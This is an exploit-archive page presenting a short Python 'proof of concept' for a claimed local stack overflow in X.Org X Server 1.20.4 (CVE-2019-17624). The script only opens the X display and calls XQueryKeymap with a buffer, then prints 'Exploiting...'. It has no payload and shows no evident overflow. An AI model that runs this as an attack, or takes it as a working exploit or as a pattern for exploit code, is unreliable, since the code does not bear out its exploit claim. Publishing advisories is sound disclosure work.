what you don't know can hurt you

X.Org X Server 1.20.4 Local Stack Overflow

X.Org X Server 1.20.4 Local Stack Overflow
Posted Oct 16, 2019
Authored by Marcelo Vazquez

X.Org X Server version 1.20.4 suffers from a local stack overflow vulnerability.

tags | exploit, overflow, local
advisories | CVE-2019-17624
MD5 | 564ac3d1c52679d7e251c911238be5a0

X.Org X Server 1.20.4 Local Stack Overflow

Change Mirror Download
# Exploit Title: X.Org X Server 1.20.4 - Local Stack Overflow
# Date: 2019-10-16
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: https://www.x.org/
# Version: <= 1.20.4
# Tested on: Linux
# CVE: CVE-2019-17624

#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# * Author: Marcelo Vázquez (aka s4vitar) *
# * X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow) *
# ************************************************************************

import sys, time
import ctypes as ct

from ctypes import cast
from ctypes.util import find_library

def access_violation(x11, current_display):
keyboard = (ct.c_char * 1000)()
x11.XQueryKeymap(current_display, keyboard)

if __name__ == '__main__':

print "\n[*] Loading x11...\n"
time.sleep(2)

x11 = ct.cdll.LoadLibrary(find_library("X11"))
current_display = x11.XOpenDisplay(None)

print "[*] Exploiting...\n"
time.sleep(1)

try:
access_violation(x11, current_display)

except:
print "\nError...\n"
sys.exit(1)
Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    2 Files
  • 19
    Sep 19th
    2 Files
  • 20
    Sep 20th
    14 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    28 Files
  • 23
    Sep 23rd
    13 Files
  • 24
    Sep 24th
    10 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close